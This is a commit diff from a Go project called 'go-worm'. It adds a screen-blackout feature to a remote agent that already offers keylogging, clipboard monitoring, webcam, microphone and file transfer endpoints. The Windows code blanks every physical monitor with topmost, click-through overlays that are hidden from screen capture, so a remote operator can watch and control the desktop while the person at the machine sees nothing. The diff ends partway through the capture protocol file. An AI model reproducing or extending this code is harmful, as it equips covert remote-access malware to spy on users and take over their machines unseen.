feat(agent): add screen blackout feature
- Physical displays blanked via overlay - Remote video and input keep working - Exclude overlay from screen capture - Add blackout API and UI toggle - Wire flag through capture protocol
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
|
|||||||
func (a *Agent) Close() {
|
func (a *Agent) Close() {
|
||||||
clipmon.Stop()
|
clipmon.Stop()
|
||||||
keylog.Stop()
|
keylog.Stop()
|
||||||
|
blackout.Stop()
|
||||||
capture.Stop()
|
capture.Stop()
|
||||||
mic.Stop()
|
mic.Stop()
|
||||||
if a.guard != nil {
|
if a.guard != nil {
|
||||||
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||||
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
||||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||||
|
mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
|
||||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||||
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
|||||||
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
||||||
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
||||||
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
||||||
|
if blackout.Enabled() {
|
||||||
|
w.Header().Set("X-Screen-Blackout", "1")
|
||||||
|
}
|
||||||
_, _ = w.Write(frame.Data)
|
_, _ = w.Write(frame.Data)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodGet:
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||||
|
case http.MethodPut:
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
|
defer r.Body.Close()
|
||||||
|
var body struct {
|
||||||
|
Enabled *bool `json:"enabled"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := blackout.Set(*body.Enabled); err != nil {
|
||||||
|
helpers.Log.Printf("blackout: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func parseMicDevice(r *http.Request) (int, error) {
|
func parseMicDevice(r *http.Request) (int, error) {
|
||||||
device := 0
|
device := 0
|
||||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||||
|
|||||||
+27
-1
@@ -27,6 +27,7 @@
|
|||||||
const videoStop = document.getElementById("video-stop");
|
const videoStop = document.getElementById("video-stop");
|
||||||
const videoInteract = document.getElementById("video-interact");
|
const videoInteract = document.getElementById("video-interact");
|
||||||
const videoKeyHint = document.getElementById("video-key-hint");
|
const videoKeyHint = document.getElementById("video-key-hint");
|
||||||
|
const videoBlackout = document.getElementById("video-blackout");
|
||||||
const webcamCanvas = document.getElementById("webcam-canvas");
|
const webcamCanvas = document.getElementById("webcam-canvas");
|
||||||
const webcamMeta = document.getElementById("webcam-meta");
|
const webcamMeta = document.getElementById("webcam-meta");
|
||||||
const webcamDevice = document.getElementById("webcam-device");
|
const webcamDevice = document.getElementById("webcam-device");
|
||||||
@@ -680,7 +681,7 @@
|
|||||||
const width = bitmap.width;
|
const width = bitmap.width;
|
||||||
const height = bitmap.height;
|
const height = bitmap.height;
|
||||||
bitmap.close();
|
bitmap.close();
|
||||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
|
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
async function sendClick(event, button) {
|
async function sendClick(event, button) {
|
||||||
@@ -737,6 +738,22 @@
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function loadBlackout() {
|
||||||
|
const res = await api("/api/v1/blackout");
|
||||||
|
const data = await res.json();
|
||||||
|
videoBlackout.checked = Boolean(data.enabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function setBlackoutEnabled(enabled) {
|
||||||
|
const res = await api("/api/v1/blackout", {
|
||||||
|
method: "PUT",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ enabled }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
videoBlackout.checked = Boolean(data.enabled);
|
||||||
|
}
|
||||||
|
|
||||||
function setVideoTabActive(active) {
|
function setVideoTabActive(active) {
|
||||||
if (videoTabActive === active) return;
|
if (videoTabActive === active) return;
|
||||||
videoTabActive = active;
|
videoTabActive = active;
|
||||||
@@ -920,6 +937,9 @@
|
|||||||
document.getElementById(button.dataset.tab).classList.add("active");
|
document.getElementById(button.dataset.tab).classList.add("active");
|
||||||
const onVideo = button.dataset.tab === "video";
|
const onVideo = button.dataset.tab === "video";
|
||||||
setVideoTabActive(onVideo);
|
setVideoTabActive(onVideo);
|
||||||
|
if (onVideo) {
|
||||||
|
loadBlackout().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
if (!onVideo) {
|
if (!onVideo) {
|
||||||
stopVideo();
|
stopVideo();
|
||||||
}
|
}
|
||||||
@@ -1028,6 +1048,12 @@
|
|||||||
sendClick(event, "right").catch((err) => showError(err.message));
|
sendClick(event, "right").catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
videoInteract.addEventListener("change", () => syncInteractable());
|
videoInteract.addEventListener("change", () => syncInteractable());
|
||||||
|
videoBlackout.addEventListener("change", () => {
|
||||||
|
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
|
||||||
|
videoBlackout.checked = !videoBlackout.checked;
|
||||||
|
showError(err.message);
|
||||||
|
});
|
||||||
|
});
|
||||||
document.querySelectorAll(".mod-btn").forEach((button) => {
|
document.querySelectorAll(".mod-btn").forEach((button) => {
|
||||||
button.addEventListener("click", () => {
|
button.addEventListener("click", () => {
|
||||||
if (!videoInteract.checked) return;
|
if (!videoInteract.checked) return;
|
||||||
|
|||||||
@@ -819,7 +819,7 @@
|
|||||||
<div class="panel-head">
|
<div class="panel-head">
|
||||||
<div>
|
<div>
|
||||||
<h2>Remote desktop</h2>
|
<h2>Remote desktop</h2>
|
||||||
<p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
|
<p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
|
||||||
</div>
|
</div>
|
||||||
<div class="panel-actions">
|
<div class="panel-actions">
|
||||||
<button id="video-start" class="primary" type="button">Start</button>
|
<button id="video-start" class="primary" type="button">Start</button>
|
||||||
@@ -841,6 +841,10 @@
|
|||||||
<input id="video-interact" type="checkbox">
|
<input id="video-interact" type="checkbox">
|
||||||
Interactable
|
Interactable
|
||||||
</label>
|
</label>
|
||||||
|
<label class="check">
|
||||||
|
<input id="video-blackout" type="checkbox">
|
||||||
|
Black out screen
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div class="stage">
|
<div class="stage">
|
||||||
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>
|
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package blackout
|
||||||
|
|
||||||
|
func Enabled() bool { return running() }
|
||||||
|
|
||||||
|
func Set(on bool) error {
|
||||||
|
if on {
|
||||||
|
return start()
|
||||||
|
}
|
||||||
|
stop()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Stop() { stop() }
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package blackout
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestDisabledByDefault(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if Enabled() {
|
||||||
|
t.Fatal("blackout should start off")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package blackout
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func running() bool { return false }
|
||||||
|
|
||||||
|
func start() error {
|
||||||
|
return errors.New("monitor blackout is only available on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
|
func stop() {}
|
||||||
@@ -0,0 +1,372 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package blackout
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"runtime"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
className = "win64_mp_blackout"
|
||||||
|
|
||||||
|
wsPopup = 0x80000000
|
||||||
|
|
||||||
|
wsExLayered = 0x00080000
|
||||||
|
wsExTransparent = 0x00000020
|
||||||
|
wsExTopmost = 0x00000008
|
||||||
|
wsExToolwindow = 0x00000080
|
||||||
|
wsExNoActivate = 0x08000000
|
||||||
|
layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate
|
||||||
|
|
||||||
|
swShowNoActivate = 4
|
||||||
|
swpNoActivate = 0x0010
|
||||||
|
swpNoMove = 0x0002
|
||||||
|
swpNoSize = 0x0001
|
||||||
|
swpShowWindow = 0x0040
|
||||||
|
|
||||||
|
lwaAlpha = 0x00000002
|
||||||
|
wdaExcludeFromCapture = 0x00000011
|
||||||
|
blackBrush = 4
|
||||||
|
errorClassAlreadyExists = 1410
|
||||||
|
htTransparent = 0xFFFFFFFF
|
||||||
|
maNoActivate = 3
|
||||||
|
wmQuit = 0x0012
|
||||||
|
wmNcHitTest = 0x0084
|
||||||
|
wmMouseActivate = 0x0021
|
||||||
|
wmDisplayChange = 0x007E
|
||||||
|
wmUser = 0x0400
|
||||||
|
wmRebuild = wmUser + 1
|
||||||
|
hwndTopmost = ^uintptr(0) // HWND_TOPMOST
|
||||||
|
)
|
||||||
|
|
||||||
|
type wndClassEx struct {
|
||||||
|
Size uint32
|
||||||
|
Style uint32
|
||||||
|
WndProc uintptr
|
||||||
|
ClsExtra int32
|
||||||
|
WndExtra int32
|
||||||
|
Instance uintptr
|
||||||
|
Icon uintptr
|
||||||
|
Cursor uintptr
|
||||||
|
Background uintptr
|
||||||
|
MenuName *uint16
|
||||||
|
ClassName *uint16
|
||||||
|
IconSm uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type msg struct {
|
||||||
|
HWnd uintptr
|
||||||
|
Message uint32
|
||||||
|
WParam uintptr
|
||||||
|
LParam uintptr
|
||||||
|
Time uint32
|
||||||
|
Pt struct{ X, Y int32 }
|
||||||
|
}
|
||||||
|
|
||||||
|
type overlayRect struct {
|
||||||
|
left, top, width, height int
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||||
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||||
|
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||||
|
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||||
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||||
|
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
|
||||||
|
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
|
||||||
|
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||||
|
procGetMessageW = user32.NewProc("GetMessageW")
|
||||||
|
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||||
|
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||||
|
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||||
|
procGetStockObject = gdi32.NewProc("GetStockObject")
|
||||||
|
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||||
|
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||||
|
|
||||||
|
// ponytail: NewCallback is never freed; one wndproc for the process.
|
||||||
|
wndProcCB = syscall.NewCallback(overlayWndProc)
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
active bool
|
||||||
|
threadID uint32
|
||||||
|
loopDone chan struct{}
|
||||||
|
hwnds []uintptr
|
||||||
|
classAtom uint16
|
||||||
|
classUTF16 *uint16
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
if unsafe.Sizeof(wndClassEx{}) != 80 {
|
||||||
|
panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func running() bool {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
return active
|
||||||
|
}
|
||||||
|
|
||||||
|
func start() error {
|
||||||
|
mu.Lock()
|
||||||
|
if active {
|
||||||
|
mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
done := make(chan struct{})
|
||||||
|
ready := make(chan error, 1)
|
||||||
|
loopDone = done
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer close(done)
|
||||||
|
defer helpers.RecoverLog("blackout")
|
||||||
|
runOverlayLoop(ready)
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-ready:
|
||||||
|
if err != nil {
|
||||||
|
<-done
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
stop()
|
||||||
|
return errors.New("monitor blackout did not start")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func stop() {
|
||||||
|
mu.Lock()
|
||||||
|
tid := threadID
|
||||||
|
done := loopDone
|
||||||
|
mu.Unlock()
|
||||||
|
if tid != 0 {
|
||||||
|
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
|
||||||
|
}
|
||||||
|
if done != nil {
|
||||||
|
<-done
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runOverlayLoop(ready chan<- error) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
defer func() {
|
||||||
|
destroyOverlays()
|
||||||
|
mu.Lock()
|
||||||
|
active = false
|
||||||
|
threadID = 0
|
||||||
|
loopDone = nil
|
||||||
|
mu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
tid, _, _ := procGetCurrentThreadId.Call()
|
||||||
|
mu.Lock()
|
||||||
|
threadID = uint32(tid)
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
if err := registerClass(); err != nil {
|
||||||
|
ready <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := createOverlays(); err != nil {
|
||||||
|
ready <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
active = true
|
||||||
|
mu.Unlock()
|
||||||
|
ready <- nil
|
||||||
|
|
||||||
|
ticker := time.NewTicker(time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
stopTop := make(chan struct{})
|
||||||
|
defer close(stopTop)
|
||||||
|
go func() {
|
||||||
|
defer helpers.RecoverLog("blackout-top")
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-stopTop:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
mu.Lock()
|
||||||
|
on := active
|
||||||
|
ids := append([]uintptr(nil), hwnds...)
|
||||||
|
mu.Unlock()
|
||||||
|
if !on {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, hwnd := range ids {
|
||||||
|
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
var m msg
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||||
|
v := int32(ret)
|
||||||
|
if v == 0 || v == -1 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if m.HWnd == 0 && m.Message == wmRebuild {
|
||||||
|
_ = createOverlays()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerClass() error {
|
||||||
|
if classAtom != 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
name, err := syscall.UTF16PtrFromString(className)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
classUTF16 = name
|
||||||
|
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
brush, _, _ := procGetStockObject.Call(blackBrush)
|
||||||
|
wc := wndClassEx{
|
||||||
|
Size: uint32(unsafe.Sizeof(wndClassEx{})),
|
||||||
|
WndProc: wndProcCB,
|
||||||
|
Instance: inst,
|
||||||
|
Background: brush,
|
||||||
|
ClassName: name,
|
||||||
|
}
|
||||||
|
atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
|
||||||
|
if atom == 0 {
|
||||||
|
if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
|
||||||
|
classAtom = 1
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if callErr != nil && callErr != syscall.Errno(0) {
|
||||||
|
return callErr
|
||||||
|
}
|
||||||
|
return errors.New("RegisterClassEx failed")
|
||||||
|
}
|
||||||
|
classAtom = uint16(atom)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func monitorRects() ([]overlayRect, error) {
|
||||||
|
var out []overlayRect
|
||||||
|
for i := 0; i < 64; i++ {
|
||||||
|
left, top, width, height, err := screenshot.MonitorBounds(i)
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if width < 1 || height < 1 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, overlayRect{left, top, width, height})
|
||||||
|
}
|
||||||
|
if len(out) == 0 {
|
||||||
|
return nil, errors.New("no displays found")
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func createOverlays() error {
|
||||||
|
destroyOverlays()
|
||||||
|
rects, err := monitorRects()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
var created []uintptr
|
||||||
|
for _, r := range rects {
|
||||||
|
hwnd, err := createOverlay(inst, r)
|
||||||
|
if err != nil {
|
||||||
|
for _, h := range created {
|
||||||
|
_, _, _ = procDestroyWindow.Call(h)
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
created = append(created, hwnd)
|
||||||
|
}
|
||||||
|
mu.Lock()
|
||||||
|
hwnds = created
|
||||||
|
mu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
|
||||||
|
hwnd, _, callErr := procCreateWindowExW.Call(
|
||||||
|
layeredEx,
|
||||||
|
uintptr(unsafe.Pointer(classUTF16)),
|
||||||
|
0,
|
||||||
|
wsPopup,
|
||||||
|
uintptr(int32(r.left)),
|
||||||
|
uintptr(int32(r.top)),
|
||||||
|
uintptr(int32(r.width)),
|
||||||
|
uintptr(int32(r.height)),
|
||||||
|
0, 0, inst, 0,
|
||||||
|
)
|
||||||
|
if hwnd == 0 {
|
||||||
|
if callErr != nil && callErr != syscall.Errno(0) {
|
||||||
|
return 0, callErr
|
||||||
|
}
|
||||||
|
return 0, errors.New("CreateWindowEx failed")
|
||||||
|
}
|
||||||
|
ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
|
||||||
|
if ok == 0 {
|
||||||
|
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||||
|
if affErr != nil && affErr != syscall.Errno(0) {
|
||||||
|
return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
|
||||||
|
}
|
||||||
|
return 0, errors.New("exclude overlay from capture failed")
|
||||||
|
}
|
||||||
|
_, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
|
||||||
|
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
|
||||||
|
_, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
|
||||||
|
return hwnd, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func destroyOverlays() {
|
||||||
|
mu.Lock()
|
||||||
|
ids := hwnds
|
||||||
|
hwnds = nil
|
||||||
|
mu.Unlock()
|
||||||
|
for _, hwnd := range ids {
|
||||||
|
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
|
||||||
|
switch message {
|
||||||
|
case wmNcHitTest:
|
||||||
|
return htTransparent
|
||||||
|
case wmMouseActivate:
|
||||||
|
return maNoActivate
|
||||||
|
case wmDisplayChange:
|
||||||
|
mu.Lock()
|
||||||
|
tid := threadID
|
||||||
|
mu.Unlock()
|
||||||
|
if tid != 0 {
|
||||||
|
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
@@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma
|
|||||||
deadline := time.Now().Add(config.CaptureTimeout)
|
deadline := time.Now().Add(config.CaptureTimeout)
|
||||||
_ = h.stdin.SetWriteDeadline(deadline)
|
_ = h.stdin.SetWriteDeadline(deadline)
|
||||||
_ = h.stdout.SetReadDeadline(deadline)
|
_ = h.stdout.SetReadDeadline(deadline)
|
||||||
if err := writeRequest(h.stdin, index, format, quality); err != nil {
|
if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
|
||||||
return models.CapturedImage{}, err
|
return models.CapturedImage{}, err
|
||||||
}
|
}
|
||||||
img, err := readResponse(h.reader)
|
img, err := readResponse(h.reader)
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ func RunHelper() int {
|
|||||||
in := bufio.NewReader(os.Stdin)
|
in := bufio.NewReader(os.Stdin)
|
||||||
out := bufio.NewWriter(os.Stdout)
|
out := bufio.NewWriter(os.Stdout)
|
||||||
for {
|
for {
|
||||||
monitor, format, quality, err := readRequest(in)
|
monitor, format, quality, omitLayered, err := readRequest(in)
|
||||||
if err == io.EOF {
|
if err == io.EOF {
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
@@ -27,7 +27,7 @@ func RunHelper() int {
|
|||||||
_ = out.Flush()
|
_ = out.Flush()
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
img, err := grab(monitor, format, quality)
|
img, err := grab(monitor, format, quality, omitLayered)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if werr := writeErr(out, err.Error()); werr != nil {
|
if werr := writeErr(out, err.Error()); werr != nil {
|
||||||
return 1
|
return 1
|
||||||
@@ -46,11 +46,12 @@ func RunHelper() int {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
|
func grab(monitor int, format string, quality int, omitLayered bool) (img models.CapturedImage, err error) {
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
err = fmt.Errorf("panic: %v", r)
|
err = fmt.Errorf("panic: %v", r)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
screenshot.SetOmitLayered(omitLayered)
|
||||||
return screenshot.CaptureMonitor(monitor, format, quality)
|
return screenshot.CaptureMonitor(monitor, format, quality)
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-9
@@ -14,30 +14,38 @@ import (
|
|||||||
|
|
||||||
var ErrMonitorNotFound = errors.New("monitor not found")
|
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||||
|
|
||||||
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
|
func writeRequest(w io.Writer, monitor int, format string, quality int, omitLayered bool) error {
|
||||||
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
|
flag := 0
|
||||||
|
if omitLayered {
|
||||||
|
flag = 1
|
||||||
|
}
|
||||||
|
_, err := fmt.Fprintf(w, "C %d %s %d %d\n", monitor, format, quality, flag)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
|
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, omitLayered bool, err error) {
|
||||||
line, err := r.ReadString('\n')
|
line, err := r.ReadString('\n')
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, "", 0, err
|
return 0, "", 0, false, err
|
||||||
}
|
}
|
||||||
fields := strings.Fields(strings.TrimSpace(line))
|
fields := strings.Fields(strings.TrimSpace(line))
|
||||||
if len(fields) != 4 || fields[0] != "C" {
|
if len(fields) != 5 || fields[0] != "C" {
|
||||||
return 0, "", 0, errors.New("bad capture request")
|
return 0, "", 0, false, errors.New("bad capture request")
|
||||||
}
|
}
|
||||||
monitor, err = strconv.Atoi(fields[1])
|
monitor, err = strconv.Atoi(fields[1])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, "", 0, err
|
return 0, "", 0, false, err
|
||||||
}
|
}
|
||||||
format = fields[2]
|
